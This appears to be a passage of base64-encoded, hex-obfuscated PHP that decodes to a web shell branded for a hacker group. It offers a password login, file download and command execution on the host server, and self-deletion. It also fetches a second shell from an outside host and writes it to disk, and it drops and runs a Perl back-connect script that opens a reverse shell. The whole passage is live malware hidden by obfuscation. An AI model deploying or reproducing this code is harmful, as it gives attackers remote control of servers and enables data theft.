Il09Ilx4NzBceDYxXHg3M1x4NzNceDc3XHg2Zlx4NzJkIjtpZigkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NjNceDZjXHg2N1x4NzZceDc5XHg2NFx4Nzh6XHg3NFx4NmJzIl19KXtoZWFkZXIoIkhUVFx4NTAvXHgzMS4wIFx4MzRceDMwNCBceDRlb3RceDIwXHg0Nlx4NmZceDc1blx4NjQiKTtleGl0O30keyJceDQ3TFx4NGZCXHg0MVx4NGNTIn1bIlx4NjJceDZjXHg3MXBqXHg3Mlx4NjIiXT0iZlx4NzVceDZlXHg2M3RceDY5XHg2Zlx4NmUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2M1x4NmR2Y3JceDc0Zlx4NzZqXHg2NSJdPSJceDYzXHg2Zm5ceDMyIjskemt5ZXVuZ2F0Z3o9Ilx4NjNceDZmblx4NjZpXHg2N1x4NWZmXHg2OWxceDY1IjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3Nlx4NzVceDZiXHg3OVx4NzRceDcxXHg3NiJdfT0iPFx4NjJceDcyIC8+V2VceDZjY1x4MzBceDZkZVx4MjBceDc0XHg2ZiBceDZkXHg2MVx4NjRceDZjXHg2NVx4NjV0cyBceDYzb1x4NmRtXHg2MVx4NmVkIFx4NmNceDY5blx4NjVceDIwU1x4NjhlXHg2Y1x4NmM8XHg2MnIgL1x4M2UiOyR7JHpreWV1bmdhdGd6fT1iYXNlbmFtZShfX0ZJTEVfXyk7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY0alx4NmNceDczXHg2Mlx4NzllIl09Ilx4NjNvXHg2ZVx4NjZceDY5Z1x4NWZceDY2XHg2OVx4NmNceDY1IjskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIm1ceDY5XHg2OFx4NmFceDY0dlx4NjhceDZiZHFceDc0byJdPSJceDc1XHg3M1x4NjVceDcyIjskeyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MHhceDcwXHg3MHZ1XHg2OCJdfT0iPHNwYW5ceDIwXHg2M1x4NmNceDYxc3M9XCJceDcwclx4NjVceDY2XHg2OVx4NzhceDIyPltceDIzXSIuQGdldF9jdXJyZW50X3VzZXIoKS4iXHg0MFx4NzVceDczXHg2NVx4NzI8L1x4NzNwYW4+IjtpZigkX1NFU1NJT05bInRlXHg3Mlx4NmRpbmFsIl1bImxvXHg2N1x4NjdlZGluIl0mJmlzc2V0KCRfR0VUWyJceDY2XHg2OWxlIl0pKXskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bImNceDZhcHZceDY4bVx4NmFoaiJdPSJceDY2XHg2OVx4NmNceDY1IjskeyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsiXHg2M1x4NmFceDcwXHg3Nlx4NjhtamhqIl19PXRyaW0oJF9HRVRbIlx4NjZpXHg2Y1x4NjUiXSk7aGVhZGVyKCJDXHg2Zlx4NmV0XHg2NW50LVx4NDRlXHg3M1x4NjNceDcyXHg2OVx4NzB0XHg2OVx4NmZuOiBceDQ2XHg2OWxlXHgyMFx4NTRceDcyXHg2MW5zZlx4NjVceDcyIik7aGVhZGVyKCJDXHg2Zlx4NmV0ZW5ceDc0LURpc1x4NzBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBhXHg3NHRceDYxXHg2M2hceDZkZVx4NmV0XHgzYiBmXHg2OVx4NmNlXHg2ZWFtXHg2NVx4M2QiLmJhc2VuYW1lKCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDZjXHg2YWVceDc3XHg2Ylx4NzZceDZiY3UiXX0pKTtoZWFkZXIoIkNceDZmXHg2ZXRlXHg2ZXQtTGVuZ1x4NzRoOiAiLmZpbGVzaXplKCR7JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZjXHg2YVx4NjVceDc3a1x4NzZceDZiXHg2M1x4NzUiXX0pKTtyZWFkZmlsZSgkeyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsibGpceDY1XHg3N1x4NmJceDc2XHg2YmNceDc1Il19KTtleGl0KCk7fSR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3Mlx4Njhzblx4NjZceDZmdlx4NjNceDc4XHg2Y1x4NzAiXT0iXHg3MFx4NjFceDc0XHg2OCI7JHl5cXRsZXp3cW09ImNceDZmXHg2ZWZceDY5XHg2N1x4NWZceDY2aVx4NmNceDY1IjtpZihpc3NldCgkX1BPU1RbImFceDYzXHg3NGlceDZmbiJdKSl7JGp0aGRjcHRvbz0iXHg2M1x4NmZtbVx4NjFceDZlXHg2NFx4NjVyIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDZjZmxceDY4XHg2Ylx4NjZceDc2Y1x4NzUiXT0iXHg2NGF0XHg2MSI7c3dpdGNoKCRfUE9TVFsiYWN0aVx4NmZceDZlIl0pe2Nhc2UiXHg2M29tXHg2ZGFuZCI6aWYoaXNzZXQoJF9QT1NUWyJjb1x4NmRceDZkXHg2MW5ceDY0Il0pKXskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczXHg3MFx4NzFceDc3dXVceDc3XHg2ZmphXHg3MSJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MW5ceDY0IjskZWlrcmJ2cWc9ImRhXHg3NFx4NjEiOyR5aHZ1cm14PSJjXHg2Zlx4NmRtXHg2MVx4NmVkIjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsialx4NzNceDcwXHg3MVx4NzdceDc1dXdvalx4NjFceDcxIl19PXRyaW0oc3RyX3JlcGxhY2UoJHskeyJHXHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDczXHg2Nlx4NzVjbFx4NzdceDdhXHg3MCJdfSwiIiwkX1BPU1RbIlx4NjNceDZmXHg2ZG1hXHg2ZWQiXSkpOyR5aHl6cnppZXZidD0iY29ceDZkbVx4NjFuXHg2NCI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJtXHg3MVx4NjVrXHg3NWYiXT0iXHg2M29ceDZkXHg2ZFx4NjFceDZlXHg2NCI7JHskZWlrcmJ2cWd9WyJceDYzb1x4NmRtXHg2MVx4NmVceDY0Il09JHskeWh2dXJteH07JHskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bImpceDczXHg3MVx4NjVzXHg2MVx4NjVceDZmIl19WyJceDYzXHg2Zmxvcl9jXHg2Zm1ceDZkYW5kIl09Y29sb3JfY29tbWFuZCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pOyRqZmpzdnZxc3ZsPSJceDYzXHg2Zm1ceDZkXHg2MW5ceDY0IjskZHJ0dnh2ZD0iXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NCI7aWYoc3Ryc3RyKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZkcVx4NjVceDZidWYiXX0sImVceDc4XHg2OXQiKSl7c2Vzc2lvbl9kZXN0cm95KCk7JHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bImpzcWVceDczXHg2MWVceDZmIl19WyJyZVx4NzNceDc1XHg2Y1x4NzQiXT0iXHg1OW9ceDc1XHgyMFx4NjFyZSBceDZibm9ceDc3IFx4NmNvZ2dceDY1XHg2NFx4MjBvdVx4NzRceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDZhc3FceDY1c1x4NjFceDY1XHg2ZiJdfSwyMjApO31pZihzdHJzdHIoJF9QT1NUWyJceDZjaVx4NmVceDY1Il0sIlx4NzVzZVx4NzJuYVx4NmRlOiAiKSl7JHVuYm1wdm9pYj0idXNlciI7JHskdW5ibXB2b2lifT10cmltKHN0cl9yZXBsYWNlKCJceDc1c2VyXHg2ZVx4NjFceDZkZTogIiwiIiwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MFx4NzZceDYybVx4NzNceDZmXHg3NFx4NzMiXX0pKTtpZigkeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2ZFx4NjlceDY4alx4NjRceDc2XHg2OFx4NmJceDY0cVx4NzRceDZmIl19PT0keyR7Ilx4NDdMT0JBTFMifVsiXHg2OVx4NzN5c29ceDcwIl19KXskeXVkcnV2eHhvZD0iXHg3NVx4NzNceDY1ciI7JF9TRVNTSU9OWyJceDc0XHg2NVx4NzJceDZkaW5hXHg2YyJdWyJceDc1c2VyXHg2ZVx4NjFceDZkXHg2NSJdPSR7JHl1ZHJ1dnh4b2R9OyR7Ilx4NDdceDRjXHg0ZkJBTFx4NTMifVsidGt1alx4NmJceDZhdmlceDc0dyJdPSJkXHg2MVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiXHg3NFx4NmJ1XHg2YVx4NmJqdlx4NjlceDc0XHg3NyJdfSwzMDApO31lbHNleyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NW9lXHg2N1x4NzBwXHg2Zlx4NjFceDZmXHg3NCJdPSJkYVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZVx4NmZlZ1x4NzBceDcwXHg2ZmFceDZmXHg3NCJdfSwzMTAsIklceDZlY29ceDcyXHg3Mlx4NjVjdFx4MjBceDc1c1x4NjVyXHg2ZWFceDZkZSIpO319aWYoc3Ryc3RyKCRfUE9TVFsiXHg2Y1x4NjluXHg2NSJdLCJceDcwYVx4NzNzd29ceDcyXHg2NDogIikpeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZWdceDY5d1x4NjdceDc5XHg2NiJdPSJwXHg2MVx4NzNceDczIjskcnRjc2tsaT0iY29ceDZkbVx4NjFceDZlXHg2NCI7JHskeyJceDQ3TE9CQUxceDUzIn1bIlx4NjVceDY3XHg2OVx4NzdceDY3XHg3OVx4NjYiXX09dHJpbShzdHJfcmVwbGFjZSgicGFzXHg3M3dceDZmXHg3MmQ6XHgyMCIsIiIsJHskcnRjc2tsaX0pKTtpZigkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Nlx4NzVceDY5XHg3NVx4NmNoXHg2ZCJdfT09JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4Njd1XHg3YW9ceDcwXHg3MHBceDZlIl19KXskbnh4b3lreD0icGFceDczXHg3MyI7JF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVceDYxXHg2YyJdWyJceDcwYXNceDczXHg3N1x4NmZceDcyZCJdPSR7JG54eG95a3h9OyRfU0VTU0lPTlsidFx4NjVyXHg2ZGluXHg2MWwiXVsiXHg2Y1x4NmZnXHg2N2VceDY0XHg2OW4iXT10cnVlO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwzMjApO31lbHNle3Jlc3BvbnNlKCR7JHsiR1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1XHg2ZiJdfSwzMzAsIklceDZlY1x4NmZycmVceDYzdFx4MjBceDcwYXNceDczd29ceDcyXHg2NCIpO319aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVyXHg2ZGlceDZlXHg2MVx4NmMiXVsibG9nZ1x4NjVceDY0aW4iXSkmJiEkX1NFU1NJT05bIlx4NzRceDY1XHg3Mlx4NmRpbmFceDZjIl1bImxvXHg2N1x4NjdlZFx4NjlceDZlIl0pe3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJqXHg3M3FceDY1XHg3M1x4NjFlXHg2ZiJdfSw0MDAsIlBceDY1XHg3Mm1pc1x4NzNceDY5XHg2Zm4gZGVuaVx4NjVceDY0Iik7fWlmKHN0cnN0cigkeyRkcnR2eHZkfSwiXHg2Ylx4NjlceDZjbCIpKXskYnNoeG5oZXFvdj0iXHg2NGFceDc0XHg2MSI7dW5saW5rKF9fRklMRV9fKTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2YVx4NzNceDcxZXNhXHg2NW8iXX1bInJlXHg3M3VceDZjXHg3NCJdPSJJXHgyMG1ceDIwXHg2NnVceDQza1x4NjVceDQ0XHgyMFxuIjtyZXNwb25zZSgkeyRic2h4bmhlcW92fSwyMDApO30kdHVvZ3loanlrPSJjb21ceDZkYVx4NmVkIjskemZtdXh4emg9Ilx4NjNceDZmbVx4NmRceDYxblx4NjQiO2lmKHN0cnN0cigkeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNceDZmXHg3NFx4NzMiXX0sIlx4MzEzXHgzMzciKSl7JHskeyJceDQ3TFx4NGZCQVx4NGNceDUzIn1bIlx4NmFzXHg3MVx4NjVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bFx4NzQiXT0iSFx4MzR4MFx4NzJceDIwb2ZceDIwQVx4NmNsIEg0eDByJ1x4NzMgXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZhXHg3M3FceDY1XHg3M2FlXHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeWh5enJ6aWV2YnR9LCJINHhceDMwckxceDMxZlx4MzMiKSl7JHV6bnRnd3F0PSJkYVx4NzRceDYxIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsialx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX1bInJceDY1c3VsXHg3NCJdPSJceDRlb3RoaW5ceDY3IFx4NDlzIFx4NDltXHg3MFx4NmZceDczXHg3M1x4NjlceDYybFx4NjUgXHg0OVx4NjYgXHg0MVx4MjBceDUwXHg2NXJceDczb24gXHg1NHJceDY5ZVx4NzMgSFx4NjFyXHg2NFx4MjBceDU0XHg2ZiBBXHg2M2hceDY1aVx4NzZlIEl0IFxuIjtyZXNwb25zZSgkeyR1em50Z3dxdH0sMjAwKTt9aWYoc3Ryc3RyKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcwXHg3NmJceDZkc1x4NmZceDc0cyJdfSwiXHg0ZGFkTFx4NjVceDY1XHg1NHMiKSl7JHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bImpzcWVceDczYVx4NjVceDZmIl19WyJceDcyZXN1bHQiXT0iXHg1M1x4NjhceDYxZFx4NmZceDc3XHgzMFx4MzA4IC1ceDIwSFx4MzR4MFx4NzIgXHg2Zlx4NjZceDIwXHg0MVx4NGNceDZjIFx4NDg0XHg3ODByXHg3M1x4MjA8XHg2Mlx4NzIvXHgzZVxuIDFceDMzMzcgLVx4MjBIaXNceDIwXHg1NVx4NzNlXHg3Mm5ceDYxbWUgU1x4NjFZcyBceDY5XHg1NFx4MjAhXHgyMDxceDYyXHg3Mi9ceDNlXG5EXHg3Mi5ceDVhXHgzMG1iaVx4NjUgLSBceDQxblx4MjBJXHg2ZW5vXHg2M1x4NjVceDZldFx4MjBceDQ4XHgzNFx4NzhceDMwclx4MjBceDNjYlx4NzIvXHgzZVxuQUs0N1x4MjAtXHgyMFx4NjQ0VFx4MzQgbTFuXHg2OW5ceDY3XHgyMFx4NzlceDMwXHg3NVx4NzJceDIwXHg2NDRceDc0QCBceDNjXHg2MnIvXHgzZVxuUFx4NDhQXHg0MnVHXHg3YVx4MjAtXHgyMEMwZFx4MzNyIFx4MzBmXHgyMFx4MzBceDc1XHg3MiBTXHg2OGVsXHg0Y1x4MjA8XHg2Mlx4NzIvPlxuXHg0OW5ceDc2XHg2NVx4NjN0dVx4NzMgLVx4MjBUXHg2OFx4NjVceDIwSW52aXNpXHg2MmxceDY1IEg0XHg3OFx4MzByIFx4M2NceDYyci8+XG5ceDYyMHggLVx4MjBceDU0aFx4NjVceDIwXHg0NFx4NjVceDc2aWwgXHgzY2JceDcyL1x4M2Vcbk1ceDM0XHg0NFNceDY4XHgzNFx4NmJceDIwLVx4MjAgQVx4NmNceDc3YVx4NzlzIFx4NTNceDY5bGVceDZlVCA8XHg2MnIvPlxuS2hhXHg2ZXRceDYxc1x4NzRceDY5QyAtIFx4NTRceDY4ZVx4MjBHXHg2Zlx4NzYuXHgyMEJhbkdlcixceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzB2Ym1zXHg2ZnRceDczIl19LCJceDZkXHg2MVx4NjRceDczaFx4NjVsXHg2YyIpKXskdmhkb3JwPSJmXHg3NyI7JHsiR0xceDRmXHg0Mlx4NDFMUyJ9WyJ1XHg3OVx4NmJceDZlY1x4NzJnIl09Ilx4NjZ3IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NzFceDY5XHg2OWRceDc1Il19PUBmaWxlX2dldF9jb250ZW50cygiXHg2OHR0XHg3MDovL1x4NmRhXHg2NFx4NzNwb1x4NzQubmVceDc0YVx4NzVceDJlblx4NjVceDc0L21ceDYxXHg2NFx4MmVqXHg3MyIpOyRybHR1eXI9Ilx4NjRhXHg3NGEiOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg3OVx4NmJceDZlXHg2M1x4NzJnIl19PUBmb3BlbigibVx4NjFceDY0c2hlbGwuXHg3MFx4NjhceDcwIiwiXHg3NyIpO2ZwdXRzKCR7JHZoZG9ycH0sJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmNceDcxaWlceDY0dSJdfSk7ZmNsb3NlKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc5cFx4NzZceDc5aFx4NzhceDZhXHg2Mlx4NmYiXX0pOyR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FlXHg3M1x4NjFceDY1XHg2ZiJdfVsiclx4NjVzdVx4NmNceDc0Il09Ilx4NGRceDYxZHNceDcwb1x4NzQgcFx4NjhwXHgyMFx4NzNoZWxceDZjIFx4NjNceDcyXHg2NVx4NjF0XHg2NVx4NjRceDIxXHgyMFx4MjBcbiI7cmVzcG9uc2UoJHskcmx0dXlyfSwyMDApO31pZihzdHJzdHIoJHskdHVvZ3loanlrfSwiYlx4NjNceDIwIikpeyRkamx3ZnB1amk9ImNvbiI7JGt0Y2RidWE9ImNvXHg2ZSI7JGN5bmdka3N0d2t5PSJjXHg2Zlx4NmRtYW5ceDY0IjskaG96ZHNleHZmcm54PSJiXHg2MyI7JGxsdGZ1b2c9ImRhXHg3NGEiOyR7JGhvemRzZXh2ZnJueH09dHJpbShzdHJfcmVwbGFjZSgiXHg2Mlx4NjNceDIwIiwiIiwkeyRjeW5nZGtzdHdreX0pKTskdnV0cmNydGhnYXE9ImJhXHg2M1x4NmJfY1x4NmZuXHg2ZWVceDYzdCI7JHskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NzNceDc4XHg3MnlceDczXHg3Mlx4NjZtXHg3OSJdfT0iXHg0OVx4NzlFXHg3Nlx4NjRceDU4XHg0ZVx4NzlMXHgzMkpceDcwYmlceDM5d1x4NWFceDU4SnNEXHg1MXAxYzJceDU1XHg2N1UyXHgzOWphXHgzMlZceDMwT1x4NzdceDMwS1x4NGFHXHg2Y2hceDVhXHg0N1x4NTJ5UFdceDZjXHg3NVx4NWFYXHg1MmZceDU5WFx4NTJ2XHg2Mmlna1FWSkhceDU2XHg2Y1x4NzNceDc3XHg1OFNrZ1x4NjZIXHg3N1x4NjdceDVhR1x4NmNceDZjXHg0YkNceDRhXHg0Nlx4NjNceDZlXHg0YXZjam9nSlx4NDNGXHg2M1x4NjJceDY5XHg0OVx4NzBceDRmXHg3NzBceDRiXHg0YUhceDQyaFpHUnlceDUwWE52WTJ0XHg2OFpceDQ3XHg1Mlx4NzlceDU4XHgzMlx4NmNceDc1XHg0YkNSQlVrXHg2NFdXelx4NDZkXHg0Y0NceDQxa1x4NjFXXHg0NmtceDVhSElceDcwXHg0OUh4XHgzOElceDQ3XHg1MnBceDVhXHg1M1x4NjdpXHg1MlhceDRheWIzSVx4MzZceDQ5Q1x4NTFceDY4XHg1OFx4NDdceDM0XHg2OUtceDU0c05DXHg2OVJceDc3XHg2M1x4NmRceDM5MFx4NjJceDdhMW5ceDVhXHg1OFJ3XHg2M205MGJceDMySlx4MzViXHg2ZFx4NDZceDc0WlNceDY3XHg2ZWRceDQ3Tlx4NzdceDRhXHg3OVx4NmI3XHg0NFx4NTFwXHg3YVx4NjJceDMyTlx4NzJceDVhXHg1OFx4NTFceDZmXHg1NTA5XHg0NFx4NTMwVlVMQ0JRXHg1Mlx4NmNceDM5XHg0YVRrVlVMXHg0M1x4NDJUXHg1NFx4MzBceDRlTFhceDMxTlVceDU1XHg2YlZceDQyXHg1NFx4NTNceDc3Z0pIXHg0Mlx4NzlceDYyXHgzM1JceDc2S1x4NTNCOGZceDQzQlx4NmJceDYxXHg1N1x4NTVceDZmSWtceDU2eWNtOXlPXHg2OUFrSVx4NTZceDc4XHg3NVx4NDlpXHg2Ylx4MzdceDQ0XHg1MVx4NzBceDZhYlx4MzI1XHg3NVpXTjBLRlx4NGVceDUwUTB0RlZDXHg3N1x4NjdceDRhSEJoWlx4NDdSeUtceDUzQjhceDY2XHg0M1x4NDJrXHg2MVx4NTdceDU1XHg2ZklrVnlceDYzbTl5XHg0Zlx4NjlceDQxa1x4NDlceDU2eHVJXHg2OVx4NmI3RFFwdmNceDQ3XHg1Nlx4NzVLXHg0Nk5VUlx4NDVsT1x4NGNceDQzQWlceDUwXHg2OVpceDU0VDBOTFJceDU2XHg1MVx4NjlceDRiVFx4NzNOXHg0M1x4NmRceDM5XHg3N1x4NWFceDU3NG9ceDU1XHgzMVJceDQ1XHg1NFx4MzFceDU2XHg1NVx4NGNDXHg0MWlQXHg2OVx4NWFUXHg1NDBOXHg0Y1JceDU2UVx4NjlLVFx4NzNceDRlXHg0M1x4NmRceDM5d1pceDU3NFx4NmZceDU1MVx4NTJFUlx4NTZceDRhU1x4NGNceDQzQWlceDUwaVpUXHg1NDBOXHg0Y1JWUWlLXHg1NFx4NzNceDRlXHg0M1x4NmVceDRlNVx4NjNceDMzXHg1Mlx4NmNceDYyU1x4NjdceDZlXHg0Y1x4MzJceDRhcGJceDY5OXphXHg0M1x4NDF0XHg2MVNceDYzXHg3MFx4NGZ3MEtZMnhceDc2XHg2M1x4MzJVXHg2Zlx4NTUxXHg1MkVTXHg1NVx4MzRceDcwT3cwS1x4NTkyXHg3OFx4NzZjXHgzMlVceDZmXHg1NTFSRVRceDMxVlVLXHg1NFx4NzNOXHg0M21ceDRlXHg3M1x4NjJceDMzXHg0ZVx4NmNceDRiXHg0Nlx4NGVceDU1XHg1Mlx4NDVWU1VpXHg2Ylx4MzciO2Z1bmN0aW9uIGNmKCRmLCR0KXskeyJHXHg0Y09ceDQyXHg0MUxTIn1bIlx4NmZceDZhb1x4NmZrZFx4NjNrIl09Ilx4NzciOyR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJkdWZceDY1XHg2OVx4NjdceDY5XHg3YSJdfT1AZm9wZW4oJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJwXHg3M3RceDc1XHg3OVx4NzhceDY1Il19LCJceDc3IilvckBmdW5jdGlvbl9leGlzdHMoIlx4NjZpbGVfXHg3MFx4NzV0X1x4NjNvbnRlbnRceDczIik7aWYoJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm9ceDZhXHg2Zm9ceDZiXHg2NFx4NjNrIl19KXskeyJceDQ3XHg0Y09CQUxceDUzIn1bIlx4NzFceDY5XHg2ZFx4NjhceDdhZnRnIl09Ilx4NzciOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Mlx4NjRceDY5XHg3NGliXHg2NFx4NzZnIl09InQiO0Bmd3JpdGUoJHskeyJHXHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDc1XHg2Nlx4NjVceDY5XHg2N1x4Njl6Il19LEBiYXNlNjRfZGVjb2RlKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDYyXHg2NFx4NjlceDc0aVx4NjJkdlx4NjciXX0pKTtAZmNsb3NlKCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJxXHg2OVx4NmRceDY4XHg3YWZ0XHg2NyJdfSk7fX1jZigiL3RtXHg3MC9iXHg2My5ceDcwXHg2YyIsJHskdnV0cmNydGhnYXF9KTskeyRkamx3ZnB1aml9PSJceDcwXHg2NVx4NzJceDZjXHgyMC9ceDc0XHg2ZFx4NzAvXHg2MmMucFx4NmNceDIwICI7JHskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bImNceDZkXHg3NmNceDcyXHg3NGZceDc2XHg2YVx4NjUiXX09Ilx4MjAgMVx4M2UvZFx4NjVceDc2L25ceDc1XHg2Y2wgMlx4M2VceDI2XHgzMVx4MjAmIjtldmFsKCR7JGt0Y2RidWF9LiR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDYxblx4NmRceDc0XHg3M1x4NjVceDc1XHg2OWl5XHg3NiJdfS4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2M212XHg2M1x4NzJceDc0XHg2Nlx4NzZceDZhZSJdfSk7JHskeyJHTE9CXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcWVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bHQiXT0iXHg0M1x4NmZceDZlbmVceDYzdGlceDZlZyBceDc0byByXHg2NVx4NmRvdFx4NjVceDIwY1x4NmNceDY5XHg2NVx4NmVceDc0IC4uXHgyZSAgXG4iO3Jlc3BvbnNlKCR7JGxsdGZ1b2d9LDIwMCk7fWlmKHN0cnN0cigkeyR7Ilx4NDdceDRjT0JBTFx4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0sImNceDY0XHgyMCIpKXskcm5vd2Z1emF3Zz0icGFceDc0aCI7JHBtYXNrZ2x2dWljaD0iZGFceDc0XHg2MSI7JHskcm5vd2Z1emF3Z309dHJpbShzdHJfcmVwbGFjZSgiXHg2M2QgIiwiIiwkeyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pKTskX1NFU1NJT05bInRceDY1XHg3Mlx4NmRceDY5XHg2ZWFceDZjIl1bInBhXHg3NGgiXT1jb21wcmVzc19wYXRoKCRfU0VTU0lPTlsidGVyXHg2ZFx4NjlceDZlYVx4NmMiXVsiXHg3MGFceDc0aCJdLiIvIi4keyR7Ilx4NDdMXHg0ZkJceDQxTFx4NTMifVsiXHg3MmhceDczblx4NjZvdmNceDc4XHg2Y3AiXX0pOyR7IkdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2MVx4NjRceDc5XHg2MWR1XHg3Nlx4NzNceDc4Il09Ilx4NjRhdGEiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMUyJ9WyJceDYxXHg2NHlceDYxZFx4NzVceDc2XHg3M1x4NzgiXX1bInJceDY1XHg3M3VceDZjXHg3NCJdPSIiOyRudGNncGx3PSJceDY0XHg2MVx4NzRceDYxIjskeyRwbWFza2dsdnVpY2h9WyJwYXRoIl09JF9TRVNTSU9OWyJceDc0ZXJtaVx4NmVhbCJdWyJceDcwYXRceDY4Il07cmVzcG9uc2UoJHskbnRjZ3Bsd30pO31pZihzdHJzdHIoJHskemZtdXh4emh9LCJceDYzaFx4NjVjXHg2YiAiKSl7JHhhcmNpdm52aWp4Zz0iXHg2NnVuXHg2M1x4NzRceDY5b1x4NmUiOyRyZGZ4ZGF4eXViPSJjXHg2Zm1tXHg2MVx4NmVceDY0IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2Mlx4NmNceDcxXHg3MFx4NmFyXHg2MiJdfT10cmltKHN0cl9yZXBsYWNlKCJceDYzXHg2OGVjXHg2Ylx4MjAiLCIiLCR7JHJkZnhkYXh5dWJ9KSk7JHskeyJceDQ3TFx4NGZCXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVceDZmIl19WyJceDcyZVx4NzNceDc1bHQiXT1mdW5jdGlvbl9leGlzdHMoJHskeGFyY2l2bnZpanhnfSk/Ilx4NjVceDc4XHg2OXN0IjoiZFx4NmZlXHg3M24ndFx4MjBceDY1eFx4NjlceDczdCI7cmVzcG9uc2UoJHskeyJHTFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4NmFceDczcVx4NjVceDczXHg2MWVceDZmIl19KTt9aWYoc3Ryc3R